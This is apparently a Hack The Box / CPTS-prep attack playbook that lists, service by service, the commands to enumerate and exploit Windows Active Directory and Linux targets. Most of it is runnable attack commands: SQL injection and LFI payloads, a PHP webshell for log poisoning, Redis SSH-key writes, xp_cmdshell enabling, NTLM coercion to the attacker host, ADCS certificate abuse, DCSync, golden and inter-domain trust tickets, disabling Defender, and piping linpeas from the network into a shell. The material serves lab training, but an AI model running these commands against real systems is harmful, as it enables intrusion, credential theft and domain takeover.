[!abstract]
> ABOUT_THIS_GUIDEA working playbook, not just diagrams. For every service you meet, it tells you what to look for, the commands to enumerate it, and the commands to test/exploit it. Built from 16 0xdf writeups (the CPTS-prep list). Command syntax reference lives in Most-Used-Commands. Set these first and every command below just works:export IP=10.10.11.x # target export TARGET=$IP export DOMAIN=domain.htb export DC=dc01.$DOMAIN export LHOST=10.10.14.x # your tun0 (ip -br a show tun0)
// THE_GOLDEN_RULES
[!tip]+
> MINDSET
- Enumerate, don’t guess. Every box rewarded reading the loot (PDFs, notes, README, git history, images) over exploit-hunting.
- New identity = restart enumeration. Cracked a hash / reset a password / read a cred? Re-run BloodHound as that principal, re-spray it across SMB+WinRM, re-check ADCS. Boxes chain 4-7 identities.
- Clock skew kills Kerberos →
sudo ntpdate -u $DCbefore every Kerberos/certipy step.- NTLM disabled (
NTLM:False/STATUS_NOT_SUPPORTED) → auth with-k+ a ccache.- First 5 commands on every shell before anything else.
- FTP →
binarymode before pulling KeePass/DB files or they corrupt.
// HIGH_LEVEL_FLOW
// PHASE_0 — SETUP
[!terminal]+ Run these on every box before anything else
# Full TCP, then service scan the open ports rustscan -a $IP -u 50000 -r 1-65535 -- -sCV -oA ./recon/target # (Windows/no-ping): rustscan -a $IP -- -Pn -sCV --max-retries 3 -T4 # two-stage nmap alternative: ports=$(nmap -p- --min-rate 10000 --open -oG - $IP | grep -oP '\d+(?=/open)' | paste -sd,) nmap -p $ports -sCV -Pn $IP -oA ./recon/detailed sudo nmap -sU --top-ports 50 $IP # UDP: DNS/SNMP/NFS matter # Populate /etc/hosts (grab domain + hostname) sudo nxc smb $IP --generate-hosts-file /etc/hosts # AD box only: sudo ntpdate -u $DC # fix clock skew (Kerberos) nxc smb $DC --generate-krb5-file krb5.conf && sudo cp krb5.conf /etc/krb5.conf
[!tip]
> WHAT THE PORTS TELL YOU
- 53+88+389+445+636+3268+5985+9389 = Windows Domain Controller.
- 445 alone + 3389 + SSH-for-Windows = Windows member/standalone (Media).
- 2049(nfs), 6379(redis), 1433(mssql), 25(smtp), 6022(go-ssh) = service to raid.
- TTL 127 = Windows one hop, TTL 63/64 = Linux.
- Two SSH ports / 172.x IPs in DNS = containers in play (Craft, Ghost, Snoopy).
// SERVICE PLAYBOOKS
Work each open service. For every one: look-for → enumerate → test.
> SMB — 445 / 139
[!info] Look for: null/guest access, non-default shares (IT, Development, Finance, profiles$, CertEnroll), writable shares, files (PDFs, KeePass, xlsx, Ansible, scripts), SMB signing off (relay potential), the domain + hostname.
[!terminal]+ Enumerate
nxc smb $IP # OS, domain, hostname, signing, SMBv1, NTLM state nxc smb $IP -u '' -p '' --shares # null session nxc smb $IP -u guest -p '' --shares nxc smb $IP -u oxdf -p '' --shares # bogus creds sometimes list shares (Authority) nxc smb $DC -u user -p pass --shares --users --rid-brute --pass-pol smbmap -H $IP -u user -p pass -r # recursive listing w/ perms smbclient -N -L //$IP # anon share list
[!terminal]+ Test / loot
smbclient //$IP/IT -U "$DOMAIN/user%pass" # browse a share # Kerberos-only host: smbclient -U "$DOMAIN/user%pass" --realm=$DOMAIN //$DC/IT nxc smb $IP -u user -p pass -M spider_plus # auto-loot files # writable share = drop a coercion payload (see NTLM-coercion below)
[!warning]
NTLM:False= NTLM disabled, use Kerberos everywhere (-k,getTGT,smbclient.py -k). Seen on VulnCicada and Voleur.
> LDAP — 389 / 636 / 3268
[!info] Look for: domain naming context, user list + descriptions (passwords in descriptions),
MachineAccountQuota, gMSA accounts, ADCS objects, pre-created attributes.
[!terminal]+ Enumerate
nxc ldap $DC -u user -p pass # confirm auth (add -k if NTLM off) nxc ldap $DC -u user -p pass --users --groups nxc ldap $DC -u user -p pass --users-export users.txt # feed spraying nxc ldap $DC -u user -p pass -M maq # MachineAccountQuota (0 = no fake computers) nxc ldap $DC -u user -p pass --gmsa # gMSA readable? -> NT hash ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" > ldap.txt ldapsearch -x -H ldap://$IP -b "DC=domain,DC=htb" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd # LAPS enum4linux-ng -A $IP
[!tip] Description-field and pre-set attributes leak creds. Always dump users with descriptions.
> Kerberos — 88
[!info] Look for: valid usernames, AS-REP roastable users (no pre-auth), kerberoastable SPNs, clock skew.
[!terminal]+ Enumerate + test
kerbrute userenum -d $DOMAIN --dc $DC /opt/SecLists/Usernames/xato-net-10-million-usernames.txt # ASREPRoast (no creds needed if you have a userlist) -> hashcat -m 18200 impacket-GetNPUsers $DOMAIN/ -dc-ip $IP -usersfile users.txt -no-pass # Kerberoast (needs creds) -> hashcat -m 13100 impacket-GetUserSPNs -request -dc-ip $IP "$DOMAIN/user:pass" -outputfile kerb.hash # get a TGT / ccache for Kerberos-only auth impacket-getTGT $DOMAIN/user:pass ; export KRB5CCNAME=user.ccache kinit user # alternative, puts ticket in default location
[!warning]
KDC_ERR_PREAUTH_FAILED= wrong password.KDC_ERR_C_PRINCIPAL_UNKNOWN= user doesn’t exist / deleted (recover via AD Recycle Bin).KRB_AP_ERR_SKEW= fix clock.
> RPC / MSRPC — 135 / 593
[!terminal]+ Enumerate
rpcclient -U "" -N $IP # then: enumdomusers, querydispinfo, enumdomgroups rpcclient -U "user%pass" $IP -c 'enumdomusers' impacket-rpcdump $IP | grep -i 'MS-' # spot coercion surfaces (EFSR, RPRN, DFS)
> DNS — 53 (TCP+UDP)
[!info] Look for: the domain name, zone-transfer allowed, extra subdomains/records, ability to add records (dynamic update), TSIG/rndc keys leaked elsewhere.
[!terminal]+ Enumerate + test
dig +noall +answer @$IP domain.htb # does it resolve? dig +noall +answer @$IP -x $IP # reverse -> domain dig axfr domain.htb @$IP # ZONE TRANSFER (Trick, Snoopy) # add a record as any domain user (feeds Responder coercion — Ghost) python dnstool.py -u "$DOMAIN\\user" -k -a add -r bitbucket --zone $DOMAIN --data $LHOST -dns-ip $IP $DC # dynamic update with a leaked TSIG/rndc key (Snoopy) nsupdate -k rndc.key <<EOF server $IP zone domain.htb update add mail.domain.htb 86400 A $LHOST send EOF
> HTTP / HTTPS — 80 / 443 / 8008 / 8443 / 50000
[!info] Look for: the tech stack (headers, 404 page, cookies,
X-Powered-By), vhosts, hidden params, known software + version, login forms (SQLi/LDAPi), file/page=params (LFI), upload forms,robots.txt, git/source exposure, TLS cert names (extra hostnames).
[!terminal]+ Enumerate
whatweb http://$IP ; curl -sI http://$IP # stack + headers # VHOST fuzz (always) — filter the default size with -ac ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac # dirs — -x for extension, lowercase list on IIS feroxbuster -u http://$IP -x php,aspx,html -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt # hidden GET params (StreamIO ?debug=) ffuf -u "http://$IP/admin/?FUZZ=" -w /opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs <default> # TLS cert SANs (extra hostnames) openssl s_client -connect $IP:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"
[!terminal]+ Test by app type
# LOGIN FORM -> SQLi bypass / LDAP injection # user: admin' or 1=1;-- - or * / pass: * sqlmap -r login.req --batch --technique B --level 5 --threads 10 sqlmap -r login.req --batch --file-read=/etc/passwd # MSSQL union creds: ' union select 1,CONCAT(username,':',password),3,4,5,6 from users;-- - # page=FILE param -> LFI ffuf -u "http://$IP/index.php?page=FUZZ" -w /opt/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -mc 200 -ac # str_replace('../') bypass: ?page=....//....//etc/passwd # PHP source leak: ?page=php://filter/convert.base64-encode/resource=index.php # RCE via mail/log poisoning: swaks body '<?php system($_REQUEST["cmd"]);?>' then include mailspool # ViewState / ASP.NET (Pov) -> leak web.config keys via file-read, then: ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg=AES --decryptionkey=<k> \ --validationalg=SHA1 --validationkey=<k> --path=/portfolio -c "<cmd>" # KNOWN SOFTWARE # Jenkins (50000): Manage Jenkins > Script Console: println "cmd /c whoami".execute().text # Gitea/Bitbucket: log in, read repos + commit history for creds/keys/source # Ghost/CMS: /ghost admin, check version for CVEs # Upload form: try webshell; if "must be Windows Media Player" -> .wax NTLM leak (Media)
[!tip] Read the 404 page and headers to fingerprint (IIS vs nginx vs Express/Next.js). Client-rendered/Next.js apps hide logic in
/_next/static/chunks/*.js— read them.
> NFS — 2049 / 111
[!terminal]+
showmount -e $IP # list exports sudo mount -t nfs $IP:/profiles /mnt -o nolock find /mnt -ls # hunt readable files (images with stickynote creds — VulnCicada)
> Redis — 6379
[!terminal]+
redis-cli -h $IP # keys *, info, config get dir # RCE via SSH-key write (Postman): config set dir /var/lib/redis/.ssh config set dbfilename authorized_keys # (echo -e "\n\n"; cat id.pub; echo -e "\n\n") | redis-cli -h $IP -x set x save
> FTP — 21
[!terminal]+
ftp anonymous@$IP # nmap ftp-anon flags this; grab everything # ALWAYS: binary (before pulling .kdbx / .psafe3 / DB files — Redelegate)Look for KeePass/Password-Safe DBs, backup files, notes with password policy hints (
SeasonYear!).
> SMTP — 25
[!terminal]+
smtp-user-enum -m VRFY -U /opt/SecLists/Usernames/names.txt $IP 25 # valid users swaks --to user@$DOMAIN --from x --server $IP --body "test" # send mail (LFI mail-poison)
> MSSQL — 1433
[!terminal]+
nxc mssql $IP -u sa -p pass --local-auth # SQL logins need --local-auth mssqlclient.py user:pass@$IP # add -windows-auth for domain # in shell: enum_db ; enable_xp_cmdshell ; xp_cmdshell whoami EXEC xp_dirtree '\\'$LHOST'\share' # coerce NetNTLMv2 (run Responder) # linked servers (Ghost): SELECT * FROM OPENQUERY("PRIMARY",'select CURRENT_USER') # impersonate sa across link -> enable + xp_cmdshell: # EXECUTE('EXECUTE AS LOGIN=''sa''; exec sp_configure "xp_cmdshell",1;reconfigure;exec xp_cmdshell "cmd"') AT [PRIMARY] # RID-brute domain users through MSSQL (Redelegate): msf mssql_enum_domain_accounts
> WinRM — 5985 / 5986
[!terminal]+
nxc winrm $IP -u user -p pass # (Pwn3d!) = shell available evil-winrm -i $IP -u user -p pass evil-winrm -i $IP -u user -H <NThash> # pass-the-hash export KRB5CCNAME=user.ccache; evil-winrm -i $DC -r $DOMAIN # kerberosRequires membership in Remote Management Users. If auth works on SMB but not WinRM, the account isn’t in that group — use RunasCs or find the WinRM user.
> ADCS — check as EVERY new principal
[!info] Look for: a CA at all, web enrollment over HTTP (ESC8), templates where you have enroll rights, EnrolleeSuppliesSubject + client-auth (ESC1), v1 schema templates (ESC15), security-extension-disabled CA (ESC16).
[!terminal]+ Enumerate
uv tool upgrade certipy-ad # ESC15/16 detection is recent nxc ldap $DC -u user -p pass -M adcs # is there a CA? certipy find -u user@$DOMAIN -p pass -dc-ip $IP -vulnerable -stdout certipy find -u user@$DOMAIN -hashes :<NT> -dc-ip $IP -vulnerable -stdout certipy find -u user@$DOMAIN -p pass -dc-ip $IP -stdout # ALL templates (re-read remarks per principal)
// POST-FOOTHOLD ENUMERATION (every shell, every time)
[!terminal]+ Windows — first commands
whoami /all # groups AND privileges (SeImpersonate/SeDebug/SeBackup/SeEnableDelegation) net user %username% /domain systeminfo ; ipconfig /all cmdkey /list # stored creds reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # autologon dir -recurse *.config,*.xml,*.ps1 | select-string -pattern "password" # loot: connection.xml (Import-CliXml), Firefox key4.db+logins.json (firepwd), # .kdbx/.psafe3, DPAPI creds, gMSA, LAPS, registry/NTDS backups (WSL /mnt/c)
[!terminal]+ Linux — first commands
id; sudo -l # sudo -l FIRST — instant wins on this box list find / -perm -u=s -type f 2>/dev/null # SUID -> GTFOBins cat /etc/crontab; ls -la /etc/cron.* env # VAULT_TOKEN etc (Craft) ls -la ~/.ssh /root/.ssh 2>/dev/null # keys, ControlMaster sockets (Ghost) curl -L .../linpeas.sh | sh
[!warning] After ANY new credential/hash/shell → go back to the service playbooks as that principal. New BloodHound, new spray, new ADCS check. This single habit solves TombWatcher, Voleur, Administrator, Ghost.
// BLOODHOUND — run at every principal
[!terminal]+
# password bloodhound-ce-python -d $DOMAIN -u user -p pass -ns $IP -c All --zip # kerberos bloodhound-ce-python -d $DOMAIN -u user -k -no-pass -ns $IP -c All --zip # rusthound-ce also collects ADCS the python collector may miss — run both rusthound-ce -d $DOMAIN -u user -p pass -c All --zipMark every owned account, run “Shortest paths from Owned objects”. Look at Outbound Object Control for each: GenericWrite, GenericAll, WriteOwner, ForceChangePassword, AddSelf, ReadGMSAPassword, DCSync, WriteDacl.
// ESCALATION — ACL ABUSE
[!info] What each ACL gives you (from BloodHound outbound control):
| Right over target | Abuse | Command |
|---|---|---|
| ForceChangePassword | reset password | net rpc password target -U "$DOMAIN/me%pw" -S $IP |
| GenericWrite / WriteSPN | targeted kerberoast or shadow cred | targetedKerberoast.py -d $DOMAIN -u me -p pw / certipy shadow auto -account target |
| GenericAll (user) | reset pw / shadow cred | bloodyAD ... set password target 'P@ss1!' |
| WriteOwner | own → grant self GenericAll → abuse | bloodyAD ... set owner target me then add genericAll target me |
| AddSelf / GenericAll (group) | join group, inherit its rights | bloodyAD ... add groupMember 'Group' me |
| ReadGMSAPassword | read managed password | nxc ldap $DC -u me -p pw --gmsa |
| DCSync / WriteDacl on domain | dump all hashes | secretsdump.py "$DOMAIN/me:pw@$DC" -just-dc |
[!terminal]+ Shadow credential (needs ADCS/PKINIT) — returns TGT + NT hash
certipy shadow auto -u me@$DOMAIN -p pw -account target
// ESCALATION — ADCS (certipy)
| ESC | Trigger (what to look for) | Exploit | Box |
|---|---|---|---|
| ESC1 | EnrolleeSuppliesSubject + client-auth + you can enroll | certipy req ... -template T -upn administrator@$DOMAIN → certipy auth -pfx | Authority |
| ESC8 | Web enrollment over HTTP enabled | coerce DC (PetitPotam) + certipy relay -target http://$DC -template DomainController → machine cert | VulnCicada |
| ESC15 | v1 schema + EnrolleeSuppliesSubject, unpatched (CVE-2024-49019) | certipy req ... -application-policies 'Certificate Request Agent' → ESC3 on-behalf-of | TombWatcher |
| ESC16 | Security extension disabled CA-wide | hijack controlled acct UPN → certipy req → restore UPN → certipy auth | Fluffy |
[!terminal]+ ESC1 example + PassTheCert fallback
# if MachineAccountQuota>0 and template = Domain Computers, add a fake computer first: addcomputer.py "$DOMAIN/user:pass" -method LDAPS -computer-name PWN$ -computer-pass Pwn123 -dc-ip $IP certipy req -username 'PWN$' -password Pwn123 -ca CA-NAME -dc-ip $IP -template T -upn administrator@$DOMAIN -dns $DOMAIN certipy auth -pfx administrator.pfx -dc-ip $IP # if PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP): certipy cert -pfx administrator.pfx -nocert -out admin.key ; certipy cert -pfx administrator.pfx -nokey -out admin.crt python passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain $DOMAIN -dc-ip $IP # ldap-shell: add_user_to_group me administrators / set_rbcd / write_gpo_dacl
// ESCALATION — DELEGATION
[!terminal]+ Constrained delegation via SeEnableDelegationPrivilege (Redelegate)
Set-ADAccountControl -Identity "FS01$" -TrustedToAuthForDelegation $True Set-ADObject -Identity "CN=FS01,CN=Computers,DC=domain,DC=htb" -Add @{"msDS-AllowedToDelegateTo"="ldap/$DC"}nxc smb $DC -u me -p pw -M change-password -o USER='FS01$' NEWPASS=Pw123 getST.py "$DOMAIN/FS01\$:Pw123" -spn ldap/$DC -impersonate dc KRB5CCNAME=dc@ldap_$DC@*.ccache secretsdump.py -k -no-pass $DC # DCSync as DCRBCD (GenericWrite/All over a computer):
impacket-rbcd -delegate-from 'ATK$' -delegate-to 'TARGET$' -action write "$DOMAIN/user:pass"thengetST.py -impersonate administrator.
// ESCALATION — LOCAL PRIVESC
[!tip]+ Windows privilege → exploit (from
whoami /priv)
- SeImpersonate → GodPotato / PrintSpoofer. Defender eating GodPotato? Compile EfsPotato on-box (
csc.exe EfsPotato.cs -nowarn:1691,618). Service account with stripped privs? FullPowers first. (Media, Ghost)- SeDebug → meterpreter migrate into a SYSTEM proc /
psgetsys.ps1(Pov)- SeBackup/SeRestore → read SAM+NTDS
- ADS hidden data →
dir /R,more < file.txt:root.txt(Jeeves)- Junction point → point a service’s write dir at the web root, upload webshell (Media)
- Disable AV once you can:
Set-MpPreference -DisableRealtimeMonitoring $True
[!tip]+ Linux privilege → exploit (
sudo -lfirst)
fail2banaction rewrite → SUID bash (Trick)git applysymlink CVE-2023-23946 (Snoopy)clamscan --file-list <file>file-read, or XXE CVE-2023-20052 (Snoopy)- Webmin CVE-2019-12840 as root (Postman)
- HashiCorp Vault SSH OTP:
vault ssh -mode=otp -role=root_otp root@127.0.0.1(Craft)- Password reuse via
su(Postman)
// ESCALATION — CROSS-DOMAIN / FOREST (Ghost)
[!terminal]+ After SYSTEM on a child DC
Get-DomainTrust # confirm bidirectional/within-forest mimikatz "lsadump::dcsync /all /csv" exit # grab TRUST$ + krbtgt # forged inter-domain trust ticket (child -> parent Enterprise Admins) ticketer.py -nthash <TRUST$ NT> -domain-sid <child SID> -domain child.dom \ -extra-sid <parent SID>-519 -spn krbtgt/parent.dom dummy KRB5CCNAME=dummy.ccache getST.py -k -no-pass -spn cifs/$DC child.dom/dummy@parent.dom # or golden ticket: Rubeus.exe golden /aes256:<krbtgt aes> /ldap /user:Administrator /sids:<parent SID>-519 /ptt # ADFS Golden SAML (as adfs gMSA): ADFSDump.exe -> ADFSpoof.py -> forge SAMLResponse
// DECISION_TREE — “I’M STUCK”
[!question]+
> WHAT NOW?
- Just got a cred? → BloodHound as that user, spray SMB+WinRM, re-check ADCS. (Answer is almost always here.)
- Kerberos error? →
ntpdatefor skew.PRINCIPAL_UNKNOWN= deleted account → AD Recycle Bin (Restore-ADObject/nxc -M tombstone).- Auth SMB but not WinRM? → not in Remote Management Users → RunasCs.
- certipy finds nothing? → update it; re-run as every principal (different enroll rights).
- Web app empty? → vhost fuzz, hidden
?FUZZ=params, read source via LFI/PHP filter, check git history + JS chunks.- In a container? →
/root/.sshControlMaster sockets (Ghost),.dockerenv, env vars, mounted volumes,/mnt/c(WSL — Voleur).NTLM:False? → everything with-k+ ccache.
// COMMON_PITFALLS
[!warning]+ Time-wasters seen across the 16 boxes
- Clock skew breaking Kerberos silently →
ntpdate.- FTP ASCII mode corrupting KeePass/DB downloads →
binaryfirst.- Machine-account NetNTLMv2 (
DC$) is effectively uncrackable — don’t burn hours (StreamIO).- WAF keyword blocks on SQLi (
0x,all,null,*) — rephrase, don’t quit.- Relative-path LFI killed by
str_replace→ use....//.- BloodHound-python hanging = DNS round-robin returning an unreachable internal IP → re-run or pin the DC IP (Ghost).
- Defender eating tools →
Set-MpPreferencewhen possible, or EfsPotato/manual.
// MACHINE_INDEX
Full technique map: Most-Used-Commands.
| Tier | Boxes |
|---|---|
| Easy | Fluffy (Win), Trick (Lin), Postman (Lin) |
| Medium | Jeeves, Pov, TombWatcher, Media, VulnCicada, StreamIO, Voleur, Administrator, Authority (Win) · Craft (Lin) |
| Hard | Redelegate (Win) · Snoopy (Lin) |
| Insane | Ghost (Win) |
// REFERENCES
[!info]+ All 16 writeups: 0xdf · Certipy Wiki (ESC) · The Hacker Recipes · HackTricks AD · GTFOBins · LOLBAS · Command reference: Most-Used-Commands
#Methodology #Attack-Flow #CPTS-Prep #AD #ADCS #Enumeration #Workflow #HTB